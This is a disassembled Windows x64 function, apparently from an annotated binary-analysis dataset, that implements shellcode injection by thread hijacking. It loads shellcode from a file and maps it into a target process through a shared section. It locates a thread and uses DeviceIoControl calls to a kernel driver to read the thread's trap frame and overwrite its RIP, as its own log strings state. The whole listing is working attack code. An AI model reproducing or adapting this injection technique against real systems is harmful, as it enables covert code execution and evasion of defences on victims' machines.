Function at 0x140004ac0
Capabilities:
Allocate or change rwx memory
Enumerate threads
Get file size
Map section object
Read file on windows
Terminate process

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r13
lea rbp, [rsp - 0x90]
sub rsp, 0x190
mov rax, qword [0x14004aac0]
xor rax, rsp
mov qword [rbp + 0x70], rax
movsxd r13, dword [0x14004ce20]
lea rdx, str.__Opening_shellcode_at:
mov rdi, qword [0x14004cde8]
mov rbx, rcx
lea rcx, [0x14004bfa0]
call fcn.14000b160
mov rcx, rax
mov rdx, rdi
call fcn.14000b160
mov rcx, rax
call fcn.14000b6f0
xor esi, esi
xor r9d, r9d
mov qword [rsp + 0x30], rsi
xor r8d, r8d
mov dword [rsp + 0x28], 0x80
mov edx, 0x80000000
mov rcx, rdi
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x140004b85
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str.__Unable_to_obtain_a_handle_to_file:
mov ebx, eax
lea rcx, [0x14004bfa0]
call fcn.14000b160
mov rcx, rax
mov edx, ebx
call fcn.140008120
mov rcx, rax
call fcn.140008940
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov qword [rsp + 0x1c8], r12
xor edx, edx
mov qword [rsp + 0x1d0], r14
mov rcx, rdi
mov qword [rsp + 0x1d8], r15
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov r15d, eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8d, r15d
mov edx, 8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
lea rdx, str.__Heap_Allocation_Address:
mov r12, rax
lea rcx, [0x14004bfa0]
call fcn.14000b160
mov rcx, rax
mov rdx, r12
call fcn.140007d20
mov rcx, rax
call fcn.14000b6f0
xor r9d, r9d
mov qword [rsp + 0x20], rsi
mov r8d, r15d
mov rdx, r12
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
lea rdx, str.__Read_Shellcode_to_heap_success:
lea rcx, [0x14004bfa0]
setne dil
call fcn.14000b160
mov rcx, rax
movzx edx, dil
call fcn.140008720
mov rcx, rax
call fcn.14000b6f0
xor eax, eax
mov qword [rbp - 0x70], r13
xor r13d, r13d
mov qword [rbp - 0x80], rax
xorps xmm0, xmm0
mov qword [rbp - 0x68], r13
movdqu xmmword [rbp + 0x18], xmm0
xor r8d, r8d
lea rdx, [rsp + 0x50]
movdqu xmmword [rbp - 0x18], xmm0
mov rcx, rbx
mov qword [rsp + 0x78], rax
movaps xmm0, xmmword [rbp - 0x70]
movdqa xmmword [rsp + 0x50], xmm0
mov dword [rbp - 8], 0x30
mov qword [rbp], rax
mov dword [rbp + 0x10], eax
mov qword [rbp + 8], rax
mov qword [rsp + 0x68], rax
mov dword [rbp - 0x58], 0x1c
mov qword [rsp + 0x70], r13
mov dword [rbp - 0x38], 0x30
mov qword [rbp - 0x30], r13
mov dword [rbp - 0x20], r13d
mov qword [rbp - 0x28], r13
mov qword [rbp + 0x58], r15
mov dword [rbp + 0x50], r15d
mov dword [rbp + 0x54], eax
call fcn.140003910
lea r9, [rbp - 0x70]
mov edx, 0x1000
lea r8, [rbp - 0x38]
lea rcx, [rsp + 0x70]
call qword [sym.imp.ntdll.dll_NtOpenProcess]
mov r8, qword [rsp + 0x70]
mov edi, eax
cmp r8, 0xffffffffffffffff
jne 0x140004d08
lea rdx, str.__Unable_to_obtain_a_handle_to_file:
lea rcx, [0x14004bfa0]
call fcn.14000b160
mov rcx, rax
call fcn.140008920
mov rcx, rax
mov edx, edi
call fcn.140008320
mov rcx, rax
call fcn.140008940
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov rdx, qword [rbx + 0x120]
mov rcx, rbx
call fcn.140002ea0
mov qword [rsp + 0x30], r13
lea r9, [rbp + 0x50]
mov dword [rsp + 0x28], 0x8000000
lea rcx, [rsp + 0x68]
xor r8d, r8d
mov dword [rsp + 0x20], 0x40
mov edx, 0xe
call qword [sym.imp.ntdll.dll_NtCreateSection]
cmp qword [rsp + 0x68], 0xffffffffffffffff
mov edi, eax
jne 0x140004d83
lea rdx, str.__Unable_to_Create_Section:
lea rcx, [0x14004bfa0]
call fcn.14000b160
mov rcx, rax
call fcn.140008920
mov rcx, rax
mov edx, edi
call fcn.140008320
mov rcx, rax
call fcn.140008940
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
movaps xmmword [rsp + 0x180], xmm6
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, qword [rsp + 0x68]
lea r8, [rsp + 0x78]
mov dword [rsp + 0x48], 0x40
mov rdx, rax
mov dword [rsp + 0x40], r13d
lea rax, [rbp + 0x58]
mov dword [rsp + 0x38], 2
xor r9d, r9d
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], r13
mov dword [rsp + 0x20], r13d
call qword [sym.imp.ntdll.dll_NtMapViewOfSection]
lea rdx, str.__Mapped_view_of_our_section_result:
mov edi, eax
lea rcx, [0x14004bfa0]
call fcn.14000b160
mov rcx, qword [rax]
movsxd rdx, dword [rcx + 4]
mov ecx, dword [rdx + rax + 0x18]
and ecx, 0xfffff9ff
bts ecx, 0xb
mov dword [rdx + rax + 0x18], ecx
mov edx, edi
mov rcx, rax
call fcn.140008320
mov rcx, rax
call fcn.14000b6f0
mov rdx, qword [rsp + 0x70]
lea rax, [rbp + 0x58]
mov rcx, qword [rsp + 0x68]
lea r8, [rbp - 0x80]
mov dword [rsp + 0x48], 0x40
xor r9d, r9d
mov dword [rsp + 0x40], r13d
mov dword [rsp + 0x38], 2
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], r13
mov dword [rsp + 0x20], r13d
call qword [sym.imp.ntdll.dll_NtMapViewOfSection]
lea rdx, str.__Mapped_view_of_target_process_section_result:
mov edi, eax
lea rcx, [0x14004bfa0]
call fcn.14000b160
mov rcx, qword [rax]
movsxd rdx, dword [rcx + 4]
mov ecx, dword [rdx + rax + 0x18]
and ecx, 0xfffff9ff
bts ecx, 0xb
mov dword [rdx + rax + 0x18], ecx
mov edx, edi
mov rcx, rax
call fcn.140008320
mov rcx, rax
call fcn.14000b6f0
mov rcx, qword [rsp + 0x78]
mov r8, r15
mov rdx, r12
call fcn.140034490
lea rdx, str.__Copied:
lea rcx, [0x14004bfa0]
call fcn.14000b160
mov rcx, rax
mov edx, r15d
call fcn.140008120
mov rcx, rax
lea rdx, str._Bytes_to
call fcn.14000b160
mov rcx, qword [rax]
movsxd rdx, dword [rcx + 4]
mov ecx, dword [rdx + rax + 0x18]
and ecx, 0xfffff9ff
bts ecx, 0xb
mov dword [rdx + rax + 0x18], ecx
mov rcx, rax
mov rdx, qword [rsp + 0x78]
call fcn.140007d20
mov rcx, rax
call fcn.14000b6f0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rdx, qword [rsp + 0x78]
mov rcx, rax
call qword [sym.imp.ntdll.dll_NtUnmapViewOfSection]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.ntdll.dll_NtClose]
xor edx, edx
mov ecx, 4
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rcx, rax
lea rdx, [rbp - 0x58]
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_Thread32First]
lea rdx, [rbp - 0x58]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Thread32Next]
test eax, eax
je 0x140004fb8
mov ecx, dword [rbp - 0x70]
cmp dword [rbp - 0x4c], ecx
je 0x140004f61
lea rdx, [rbp - 0x58]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Thread32Next]
test eax, eax
jne 0x140004f46
jmp 0x140004fb8
mov r8d, dword [rbp - 0x50]
xor edx, edx
mov ecx, 0x800
mov qword [rbp - 0x68], r8
call qword [sym.imp.KERNEL32.dll_OpenThread]
lea rdx, str.__Got_Hijacked_Thread_HANDLE:
mov rsi, rax
lea rcx, [0x14004bfa0]
call fcn.14000b160
mov rcx, qword [rax]
movsxd rdx, dword [rcx + 4]
mov ecx, dword [rdx + rax + 0x18]
and ecx, 0xfffff9ff
bts ecx, 0xb
mov dword [rdx + rax + 0x18], ecx
mov rdx, rsi
mov rcx, rax
call fcn.140007d20
mov rcx, rax
call fcn.14000b6f0
mov rdx, qword [rbx + 0x120]
mov r8, rsi
mov rcx, rbx
call fcn.140002ea0
xor r9d, r9d
lea r8, [rbp - 8]
mov edx, 0x1f000f
lea rcx, [rbp - 0x60]
call qword [sym.imp.ntdll.dll_NtCreateDebugObject]
lea rdx, str.__Created_Debug_HANDLE_
mov edi, eax
lea rcx, [0x14004bfa0]
call fcn.14000b160
mov rcx, qword [rax]
movsxd rdx, dword [rcx + 4]
mov ecx, dword [rdx + rax + 0x18]
and ecx, 0xfffff9ff
bts ecx, 0xb
mov dword [rdx + rax + 0x18], ecx
mov edx, edi
mov rcx, rax
call fcn.140008320
mov rcx, rax
call fcn.14000b6f0
mov rdx, qword [rbx + 0x20]
mov rcx, rbx
add rdx, qword [rbx + 0x40]
movaps xmm6, xmmword [rbp - 0x70]
call fcn.140002af0
mov rdx, qword [rbx + 0x48]
mov rdi, rax
sub rdi, qword [rbx + 0x40]
mov rcx, rbx
add rdx, rdi
call fcn.140002af0
movq rsi, xmm6
cmp rax, rsi
je 0x14000508a
nop dword [rax]
nop dword [rax + rax]
mov rdx, qword [rbx + 0x40]
mov rcx, rbx
add rdx, rdi
call fcn.140002af0
mov rdx, qword [rbx + 0x48]
mov rdi, rax
sub rdi, qword [rbx + 0x40]
mov rcx, rbx
add rdx, rdi
call fcn.140002af0
cmp rax, rsi
jne 0x140005060
mov rdx, qword [rbx + 0x50]
mov rcx, rbx
add rdx, rdi
call fcn.140002af0
lea rdx, str.__Got_ThreadListHead_at:
mov qword [rsp + 0x60], rax
lea rcx, [0x14004bfa0]
mov rdi, rax
call fcn.14000b160
mov rcx, qword [rax]
movsxd rdx, dword [rcx + 4]
mov ecx, dword [rdx + rax + 0x18]
and ecx, 0xfffff9ff
bts ecx, 0xb
mov dword [rdx + rax + 0x18], ecx
mov rdx, rdi
mov rcx, rax
call fcn.140007f20
mov rcx, rax
call fcn.14000b6f0
movaps xmm6, xmmword [rbp - 0x70]
mov r14, rdi
sub r14, qword [rbx + 0x80]
lea rdi, [rbp + 0x60]
movaps xmmword [rsp + 0x50], xmm6
mov rsi, r13
movabs rax, 0x4141414141414141
mov r15d, 0x10
nop word [rax + rax]
mov rcx, qword [rbx]
lea r8, [rbp + 0x30]
mov qword [rbp + 0x30], rax
mov r9d, 0x20
mov qword [rsp + 0x38], r13
lea rax, [rsi + r14]
add rax, qword [rbx + 0x88]
mov edx, 0x9b0c1ec4
mov qword [rbp + 0x38], rax
lea rax, [rbp + 0x28]
mov qword [rsp + 0x30], rax
lea rax, [rbp + 0x30]
mov dword [rsp + 0x28], 0x20
mov qword [rsp + 0x20], rax
mov qword [rbp + 0x40], r13
mov qword [rbp + 0x48], r13
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
movzx eax, byte [rbp + 0x48]
lea rsi, [rsi + 1]
mov byte [rdi], al
lea rdi, [rdi + 1]
movabs rax, 0x4141414141414141
sub r15, 1
jne 0x140005110
movq r12, xmm6
movaps xmm6, xmmword [rsp + 0x180]
cmp qword [rbp + 0x60], r12
je 0x14000525e
mov r13, qword [rsp + 0x58]
nop dword [rax]
cmp qword [rbp + 0x68], r13
je 0x14000525b
mov rdx, qword [rbx + 0x80]
mov rcx, rbx
add rdx, r14
call fcn.140002af0
mov r14, rax
lea rdi, [rbp + 0x60]
sub r14, qword [rbx + 0x80]
mov r15d, 0x10
xor ecx, ecx
movabs r13, 0x4141414141414141
mov esi, ecx
nop
mov rax, qword [rbx + 0x88]
lea r8, [rbp + 0x30]
mov qword [rsp + 0x38], rcx
add rax, rsi
add rax, r14
mov qword [rbp + 0x40], rcx
mov qword [rbp + 0x38], rax
mov r9d, 0x20
lea rax, [rbp + 0x28]
mov qword [rbp + 0x48], rcx
mov rcx, qword [rbx]
mov edx, 0x9b0c1ec4
mov qword [rsp + 0x30], rax
lea rax, [rbp + 0x30]
mov dword [rsp + 0x28], 0x20
mov qword [rsp + 0x20], rax
mov qword [rbp + 0x30], r13
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
movzx eax, byte [rbp + 0x48]
inc rsi
mov byte [rdi], al
lea rdi, [rdi + 1]
mov ecx, 0
sub r15, 1
jne 0x1400051e0
mov r13, qword [rsp + 0x58]
cmp qword [rbp + 0x60], r12
jne 0x1400051a0
xor r13d, r13d
lea rdx, str.__Got_Thread_To_Hijack_at:
lea rcx, [0x14004bfa0]
call fcn.14000b160
mov rcx, qword [rax]
movsxd rdx, dword [rcx + 4]
mov ecx, dword [rdx + rax + 0x18]
and ecx, 0xfffff9ff
bts ecx, 0xb
mov dword [rdx + rax + 0x18], ecx
mov rcx, rax
mov rdx, qword [rsp + 0x60]
call fcn.140007f20
mov rcx, rax
call fcn.14000b6f0
mov rdx, qword [rbx + 0x70]
mov rcx, rbx
add rdx, r14
call fcn.140002af0
lea rdx, str.__Got_Thread_TrapFrame_at:
mov rsi, rax
lea rcx, [0x14004bfa0]
call fcn.14000b160
mov rcx, qword [rax]
movsxd rdx, dword [rcx + 4]
mov ecx, dword [rdx + rax + 0x18]
and ecx, 0xfffff9ff
bts ecx, 0xb
mov dword [rdx + rax + 0x18], ecx
mov rdx, rsi
mov rcx, rax
call fcn.140007f20
mov rcx, rax
call fcn.14000b6f0
mov rdx, qword [rbp - 0x60]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.ntdll.dll_NtDebugActiveProcess]
lea rdx, str.__Put_the_Process_into_of_debug_
mov edi, eax
lea rcx, [0x14004bfa0]
call fcn.14000b160
mov rcx, qword [rax]
movsxd rdx, dword [rcx + 4]
mov ecx, dword [rdx + rax + 0x18]
and ecx, 0xfffff9ff
bts ecx, 0xb
mov dword [rdx + rax + 0x18], ecx
mov edx, edi
mov rcx, rax
call fcn.140008320
mov rcx, rax
call fcn.14000b6f0
mov rdx, qword [rbx + 0x78]
lea r8, [rbp + 0x30]
mov rcx, qword [rbx]
add rdx, rsi
mov qword [rsp + 0x38], r13
movabs rax, 0x4141414141414141
mov qword [rbp + 0x30], rax
mov r9d, 0x20
mov rax, qword [rbp - 0x80]
mov qword [rbp + 0x48], rax
lea rax, [rbp + 0x28]
mov qword [rsp + 0x30], rax
lea rax, [rbp + 0x30]
mov qword [rbp + 0x38], rdx
mov edx, 0x9b0c1ec8
mov dword [rsp + 0x28], 0x20
mov qword [rsp + 0x20], rax
mov qword [rbp + 0x40], r13
mov dword [rbp + 0x28], r13d
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
lea rdx, str.__Over_Wrote_RIP_to_match:
lea rcx, [0x14004bfa0]
call fcn.14000b160
mov rcx, qword [rax]
movsxd rdx, dword [rcx + 4]
mov ecx, dword [rdx + rax + 0x18]
and ecx, 0xfffff9ff
bts ecx, 0xb
mov dword [rdx + rax + 0x18], ecx
mov rdx, qword [rbp - 0x80]
mov rcx, rax
call fcn.140007d20
mov rcx, rax
call fcn.14000b6f0
mov rdx, qword [rbp - 0x60]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.ntdll.dll_NtRemoveProcessDebug]
lea rdx, str.__Put_the_Process_out_of_debug_
mov ebx, eax
lea rcx, [0x14004bfa0]
call fcn.14000b160
mov rcx, qword [rax]
movsxd rdx, dword [rcx + 4]
mov ecx, dword [rdx + rax + 0x18]
and ecx, 0xfffff9ff
bts ecx, 0xb
mov dword [rdx + rax + 0x18], ecx
mov edx, ebx
mov rcx, rax
call fcn.140008320
mov rcx, rax
call fcn.14000b6f0
lea rdx, str.__Hi_Jack...How_Are_you_
lea rcx, [0x14004bfa0]
call fcn.14000b160
mov rcx, rax
call fcn.14000b6f0
mov r14, qword [rsp + 0x1d0]
mov r12, qword [rsp + 0x1c8]
mov r15, qword [rsp + 0x1d8]
mov rcx, qword [rbp + 0x70]
xor rcx, rsp
call fcn.14002aba0
add rsp, 0x190
pop r13
pop rdi
pop rsi
pop rbx
pop rbp
ret